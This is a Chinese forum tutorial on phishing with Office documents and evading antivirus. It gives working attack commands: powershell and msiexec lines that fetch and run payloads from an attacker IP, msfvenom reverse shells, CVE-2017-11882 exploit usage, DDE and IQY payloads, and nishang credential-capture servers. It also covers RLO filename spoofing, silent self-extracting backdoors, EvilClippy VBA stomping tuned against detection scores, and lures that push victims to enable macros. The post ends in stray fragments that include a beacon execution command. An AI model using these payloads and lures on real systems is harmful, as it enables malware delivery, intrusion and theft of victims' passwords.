本帖最后由 CDxiaodong 于 2021-12-11 15:58 编辑
office文档钓鱼免杀实战技巧复现（三） 一、钓鱼小技巧 1.1 LNK 快捷方式lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件，通常它以快捷方式放在硬盘上，以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标，但是目标会执行shell命令。 cs演示： file://C:/Users/e%27e%27t/Desktop/2/image-20211211111616213.png?lastModify=1639209430
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.124:80/a'))"然后windows端新建快捷链接方式 双击即可上线 也可以使用msiexec.exe，系统进程，是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。
msfvenom-pwindows/meterpreter/reverse_tcplhost=vpsiplport=1234-fmsi>shell.txt
c:\windows\system32\msiexec.exe/q/ihttp://xxx/shell.txt不过早已无法达到免杀 file://C:/Users/e%27e%27t/Desktop/2/image-20211211111911587.png?lastModify=1639209430 1.2 文件名反转 1.2 文件名反转RLO，即Right-to-Left Override，我们可以在⽂件名中插⼊此类unicode字符，来达到⽂件名反转的效果。 以cmd.exe来举例， 将其重命名为cmdgpj.exe,然后在 cmd 与 g 之间右键，看图操作//????（重点） 在重命名框中插入unicode字符RLO file://C:/Users/e%27e%27t/Desktop/2/image-20211211112353402.png?lastModify=1639209430 ok，此时已经变成了 以 jpg 结尾的了。但是双击运行还是 exe 格式运行的。 file://C:/Users/e%27e%27t/Desktop/2/image-20211211113651875.png?lastModify=1639209430
再利用ResourceHacker修改图标。 file://C:/Users/e%27e%27t/Desktop/2/image-20211211113321409.png?lastModify=1639209430 找个图片转换为 ico 格式。 file://C:/Users/e%27e%27t/Desktop/2/image-20211211113139124.png?lastModify=1639209430 file://C:/Users/e%27e%27t/Desktop/2/image-20211211113746271.png?lastModify=1639209430 save as 就行 1.3 HTAHTA是HTML Application的缩写，直接将HTML保存成HTA的格式，是一个独立的应用软件，本身就是html应用程序，双击就能运行，却比普通网页权限大得多，它具有桌面程序的所有权限。 制作：利用 cs attacks——>packages——>HTML application 选择powershell 生成。 file://C:/Users/e%27e%27t/Desktop/2/image-20211211114038413.png?lastModify=1639209430 1.4 CHMCHM（Compiled Help Manual）即“已编译的帮助文件”。它是微软新一代的帮助文件格式，利用HTML作源文，把帮助内容以类似数据库的形式编译储存。 CHM制作过程：创建一个文件夹（名字随意），在文件夹里面再创建两个文件夹（名字随意）和一个index.html文件，在两个文件夹内部创建各创建一个index.html文件。 file://C:/Users/e%27e%27t/Desktop/2/image-20211211114357980.png?lastModify=1639209430 将下列代码放入index.html: //计算器打开 <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec<OBJECTid=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1height=1><PARAMname="Command"value="ShortCut"><PARAMname="Button"value="Bitmap::shortcut"><PARAMname="Item1"value=',calc.exe'><PARAMname="Item2"value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
当然这些都不能免杀，不过套娃利用改一改就可以 打开EasyCHM工具 后点击新建然后导入自己创建的文件夹，点击确定后再点击编译，在弹出的对话框中点击生成CHM按钮，会你生成一个CHM文件。 file://C:/Users/e%27e%27t/Desktop/2/image-20211211114903134.png?lastModify=1639209430 点击之后就会弹出calc.exe 当然我们也可以换成其他的，比如说 powershell payload。直接上线。 1.5 自解压直接上操作。 随便安装软件+cs生成的后门来演示。 选中需要压缩的软件，右键添加到压缩软件， 点击创建自解压格式压缩文件 file://C:/Users/e%27e%27t/Desktop/2/image-20211211115505107.png?lastModify=1639209430 点击 高级-→ 自解压选项 填入解压路径, 绝对路劲，（C:\Windows\Temp 文件夹windows电脑都有）我这里就写本地了 file://C:/Users/e%27e%27t/Desktop/2/image-20211211115557217-16391949579211.png?lastModify=1639209430 点击设置--------提取后运行 file://C:/Users/e%27e%27t/Desktop/2/image-20211211115711439.png?lastModify=1639209430 点击模式，静默模式， 全部隐藏 file://C:/Users/e%27e%27t/Desktop/2/image-20211211115736653.png?lastModify=1639209430 点击更新，设置 更新方式----解压并更新文件覆盖方式----覆盖所有文件
file://C:/Users/e%27e%27t/Desktop/2/image-20211211115810018.png?lastModify=1639209430 确定，出去可以文件名改的像一点。 最后点击确定。生成自解压文件 file://C:/Users/e%27e%27t/Desktop/2/image-20211211115925965.png?lastModify=1639209430 图标有点不太对劲，使用 Restorator 把setup图标抠下来，在弄到生成的自解压文件。 双击它 file://C:/Users/e%27e%27t/Desktop/2/image-20211211120138985.png?lastModify=1639209430 成功上线 火绒还是不能免杀 1.6 捆绑文件K8免杀系统自带捆绑器加强版V2.0.EXE 超级文件捆绑器 !file://C:/Users/e%27e%27t/Desktop/2/image-20211211140027749.png?lastModify=1639209430 生成，执行之后会执行cmd.exe一样的效果，但此时后门软件也被执行了 二、Office钓鱼常用的套路使对方开启宏， 文档是被保护状态，需要启用宏才能查看； 添加一张模糊的图片，提示需要启用宏才能查看高清图片； 提示要查看文档，按给出的一系列步骤操作； 贴一张某杀毒软件的Logo图片，暗示文档被安全软件保护。
1.Evil Clippy文章一讲了相关内容 https://github.com/outflanknl/EvilClippy/releaseswindwos安装: 在Visual Studio开发者命令行窗口中输入下列命令： csc/reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll/out:EvilClippy.exe*.cs运行成功，生成exe程序。 Usage:eviloffice.exe[OPTIONS]+filenameAuthor:StanHegtEmail:stan@outflank.nlOptions:-n,--name=VALUEThetargetmodulenametostomp.Thisargumentcanberepeated.-s,--sourcefile=VALUEFilecontainingsubstitutionVBAcode(fakecode).-g,--guihideHidecodefromVBAeditorGUI.--gg,--guiunhideUnhidecodefromVBAeditorGUI.-t,--targetversion=VALUETargetMSOfficeversionthepcodewillrunon.-w,--webserver=VALUEStartwebserveronspecifiedporttoservemalicioustemplate.-d,--delmetadataRemovemetadatastream(mayincludeyournameetc.).-r,--randomnamesSetrandommodulenames,confusessomeanalysttools.--rr,--resetmodulenamesUndothesetrandommodulenamesbymakingtheASCIImodulenamesintheDIRstreammatchtheirUnicodecounterparts-u,--unviewableVBAMakeVBAProjectunviewable/locked.--uu,--viewableVBAMakeVBAProjectviewable/unlocked.-v Increasedebugmessageverbosity.-h,--help Showthismessageandexit.没做任何处理之前，VT查杀 39/61 file://C:/Users/e%27e%27t/Desktop/2/640.webp?lastModify=1639209430 从GUI隐藏/取消隐藏宏VT查杀 37/60 在VBA GUI编辑器中隐藏所有宏模块（默认的“ ThisDocument”模块除外）。这是通过从项目流[MS-OVBA 2.3.1]中删除模块行来实现的。 EvilClippy.exe -g macrofile.doc撤消由hide选项（-g）完成的更改，以便我们可以在VBA IDE中调试宏。 EvilClippy.exe -gg macrofile.docfile://C:/Users/e%27e%27t/Desktop/2/640-16392027667904?lastModify=1639209430 Stomp VBA（滥用P代码）VT 查杀 12/60 效果很好，过火绒 将来自文本文件fakecode.vba的虚假VBA代码放在所有模块中，同时保持P代码不变。这滥用了模块流[MS-OVBA 2.3.4.3]的未记录功能。请注意，VBA项目版本必须与主机程序匹配才能执行P代码 EvilClippy.exe -s 1.vba macrofile.doc参数说明：-s 参数是通过假的 vba 代码插入到模块中，用以混淆杀毒程序，这里我们需要写一个正常 无毒正常的 vba 脚本 注意：VBA重踏不适用于以Excel 97-2003工作簿（.xls）格式保存的文件 Sub Hello()Dim XX=MsgBox("Hello VBS")file://C:/Users/e%27e%27t/AppData/Roaming/Typora/typora-user-images/640.webp?lastModify=1639209430
效果比较好，并且可以成功上线， 多参数混合使用： EvilClippy.exe-s1.vba-g-rhello.docVT查杀12/61其他免杀方法：
2 远程模板注入宏代码文章一也有讲 3.CVE-2017-11882影响 MicrosoftOffice 2000MicrosoftOffice 2003MicrosoftOffice 2007 Service Pack 3MicrosoftOffice 2010 Service Pack 2MicrosoftOffice 2013 Service Pack 1MicrosoftOffice 2016MicrosoftOffice 365 Microsoft Office Word 的一个执行任意代码的方法，可以在不启用宏的情况下执行任意程序。 这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容，比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容，通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果，问题出在这个域的内容可以是一个公式 (或者说表达式)，这个公式并不限制内容。
GitHub： https://github.com/Ridter/CVE-2017-11882使用： python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc生成 test.doc 文档，靶机打开。成功弹出加算器 msf 复现。 项目 https://github.com/0x09AL/CVE-2017-11882-metasploitexploit/windows/fileformat/office_ms17_11882file://C:/Users/e%27e%27t/Desktop/2/image-20211211141611116.png?lastModify=1639209430 file://C:/Users/e%27e%27t/Desktop/2/image-20211211142151420.png?lastModify=1639209430 因为生成的不是doc文件，不容易上线
配合 HTA上线（关掉之前那个msf重新打开新的） exploit/windows/misc/hta_server
http://192.168.0.124:8080/JjXOqafCtZp7C.htafile://C:/Users/e%27e%27t/Desktop/2/image-20211211142507814.png?lastModify=1639209430 file://C:/Users/e%27e%27t/Desktop/2/image-20211211142648479.png?lastModify=1639209430 file://C:/Users/e%27e%27t/Desktop/2/image-20211211142818828-16392040996448.png?lastModify=1639209430 4.word 中插入外部对象(OLE)方式欺骗插入文件 atfact 更改文件名为说明手册 更改图标为说明手册.ico 5.构造DDE钓鱼文档创建一个文档 dde.docx ,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。 DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"file://C:/Users/e%27e%27t/Desktop/2/image-20211211143618061.png?lastModify=1639209430 6.IQY特性钓鱼利用nishang下的Out-WebQuery.ps1， 脚本生成包含恶意 payload url 的 iqy 文件。
可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’（不能加载脚本），通过IQY【即web查询】语句，可以直接将各类web上的列表数据轻松引入到当前的excel中，而正是因为这样，从而给了我们利用excel制作钓鱼邮件的机会，假如你要引入的web数据是入侵者事先准备好的一段payload iqy恶意代码，那结果就不言而喻了。 利用过程： 新建一个excel文件，找到”数据”→”自网站”→”地址”，填写要抓取数据的网站url，选中想抓取数据的表单 原理就是通过自动导入我们创建的网站的文件名进入exce表 但是当我们创建带有IYQ命令的html在我们的网站中，当excel表导入的时候自动执行IYO(excel能看懂的web语言)命令 详细原理看参考链接 之间进行shell操作 用到的工具： nishang：https://github.com/samratashok/nishang/releases先在kali准备好payload: exploit/multi/script/web_deliveryfile://C:/Users/e%27e%27t/Desktop/2/image-20211211151704320.png?lastModify=1639209430 用nishang中提供好的Out-WebQuery脚本来生成iqy文件 然后利用nishang-master\Client\Out-WebQuery.ps1,生成文件 powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.0.124:8000/msf.html}"接下来就可以想办法把之前生成的iqy文件发送给受害者。 当受害者双击打开时，默认会用Excel打开，弹出警告，点击启用 点击是，正常情况下监听的msf会生成一个会话。 借助IQY窃取目标用户密码 powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.1}" powershell-execbypasscd.\UtilityImport-Module.\Start-CaptureServer.ps1Start-CaptureServer-AuthTypeBasic-IPAddress192.168..2.1-LogFilePathC:\windows\temp\log.txt# 注意此处的认证要选择基础认证,监听的 ip 和上面生成 iqy 文件中的 ip 一致,通常都是本机 i 此认证窗口会连续出现三次，相信三次里面总有一个能用的账号密码,因为目标可能也压根搞不清楚这是什么东西,以为是系统的账号密码,就随便输,其实我们主要还是想利用这种方式钓到可用的 owa 或者 v*n 账号密码 file://C:/Users/e%27e%27t/Desktop/2/image-20211211152542048.png?lastModify=1639209430 7.PPT 动作按钮特性构造 PPSX钓鱼新型PPT钓鱼攻击分析 首先，创建一个普通的PPTX文件，随便填入一些内容，如下图： file://C:/Users/e%27e%27t/Desktop/2/image-20211211153036881.png?lastModify=1639209430 这里要选择空白的那个，选择以后，在页面中拉出一个触发位置，之后会弹出动作设置的界面,选择鼠标悬停-→ 运行程序msiexec.exe，系统进程，是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。 file://C:/Users/e%27e%27t/Desktop/2/image-20211211153342818.png?lastModify=1639209430 file://C:/Users/e%27e%27t/Desktop/2/image-20211211153353338.png?lastModify=1639209430 配合宏的添加就能改msiexec.exe白名单配合shellcode执行 8.超链接在PDF、Office文档中内嵌一个跳转链接是很早期的钓鱼方式，通过文字信息的引导，让受害者点开页面，如果缺乏戒心，就可能会获取到受害者的账号、密码、银行卡、身份证等信息。
三、邮件钓鱼
邮件服务器相关环境搭建，邮件信息收集请见 涵盖伪造（SRC假漏洞、简历、宏文档、合作利诱、技术交流、钓鱼网站、第三方平台）、伪造发件人、office 宏钓鱼、exe引诱。 四、flash钓鱼
自解压或者捆绑 配合 xss . 详细步骤见 1.6 .
五、网站钓鱼
制作钓鱼网站，克隆网站 cs,msf都有这个功能 setoolkit
综上：：免杀的没几个 但是 却可以打败心大的???? 到后期做到套娃免杀 或者混淆 多重拼接 分离免杀 还有多编程语言免杀（虽然这种免杀都具有时效性，但是不放出来自己用用还是可以的） 参考链接：
| 
楼主
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
@55w0rd!"
@55w0rd! process call create "c:\beacon5.exe"
nscache DNS Client
)